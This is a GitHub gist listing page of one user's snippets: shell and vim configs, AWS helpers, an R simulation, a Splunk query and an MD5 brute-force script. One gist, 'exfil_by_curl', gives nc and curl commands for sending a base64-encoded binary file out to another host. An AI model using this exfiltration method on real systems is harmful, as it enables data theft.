Skip to content

Instantly share code, notes, and snippets.

Avatar

william packetchef

  • 01060
View GitHub Profile
@packetchef
packetchef / .bash_profile
Created Jul 21, 2020
My sweet bash profile for macOS
View .bash_profile
# Simple PS1 - we don't actually use this because we redefine PS1 later
if [ -n "$PS1" ]; then PS1='\h:\w \u\$ '; fi
# Make bash check it's window size after a process completes
shopt -s checkwinsize
PATH="/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:~/bin:/usr/local/go/bin"
export PATH
export GOPATH=$HOME/src/go
View .vimrc
# My VIM config
# You can also call each of these individually from a : command prompt
# Clear last search highlighting
noh
# Do case-sensitive search
set noic
# Do case-insensitive search
View world_map.base64
4pSM4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSQCuKUgiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIOKUgOKUgOKUgOKUgOKUgOKUgCAgICAgICAgICAgICAgIOKUgOKUgOKUgOKUgOKUgOKUgOKU
View s3_list_objects.js
const AWS = require('aws-sdk');
const s3 = new AWS.S3();
export.handlers = async (event) => {
console.log('Loading function');
const allKeys = [];
await getKeys({Bucket: 'my-bucket-here'}, allKeys);
return allKeys;
};
View simulating_die_rolls.r
library(ggplot2)
library(dplyr)
library(tibble)
library(tidyr)
NumRolls <- 6000
DiceSides <- 6
NumImages <- 300
PlotToScreen <- FALSE
SaveToFiles <- TRUE
@packetchef
packetchef / exfil_by_curl
Created Apr 2, 2020
An inelegant but functional method to exfiltrate binary data when all you have on the source host is curl
View exfil_by_curl
On target host:
$ nc -l 9999 > myincomingfile.b64
On source host:
$ base64 gold.bin > gold.b64
# For large files, curl will wait for a 100-continue before sending data - add an empty Expect header to avoid this
$ curl -H 'Expect:' -F attachment=@gold.b64 http://target:9999
On target host:
View splunk_indextime.spl
index=logs1
| eval indextime=strftime(_indextime,"%Y-%m-%d %H:%M:%S")
| table _time indextime
@packetchef
packetchef / aws_value_for_specific_tag.py
Created Mar 20, 2020
Return the value for a tag with a specific name
View aws_value_for_specific_tag.py
tags = [{'Key': 'Name', 'Value': 'tag testing'}, {'Key': 'Ec2ImageBuilderArn', 'Value': 'arn:aws:imagebuilder:us-east-1:123412341234:image/my-build/1.0.0/1'}]
nameTagKey = 'Name'
tagName = [ x['Value'] for x in tags if x['Key'] == nameTagKey ][0]
# Should return 'tag testing'
print(tagName)
@packetchef
packetchef / aws_available_profiles.py
Created Mar 20, 2020
Return a list of configured profiles
View aws_available_profiles.py
import boto3
available_profiles = boto3.session.Session().available_profiles
# Should return a list of configured profiles
print(available_profiles)
View string_that_matches_regex_and_md5.py
import re
import hashlib
import string
from itertools import product
def all_perms_with_repeat(validChars, repeatCount):
chars = list(validChars)
results = []
for c in product(chars, repeat = repeatCount):
You can’t perform that action at this time.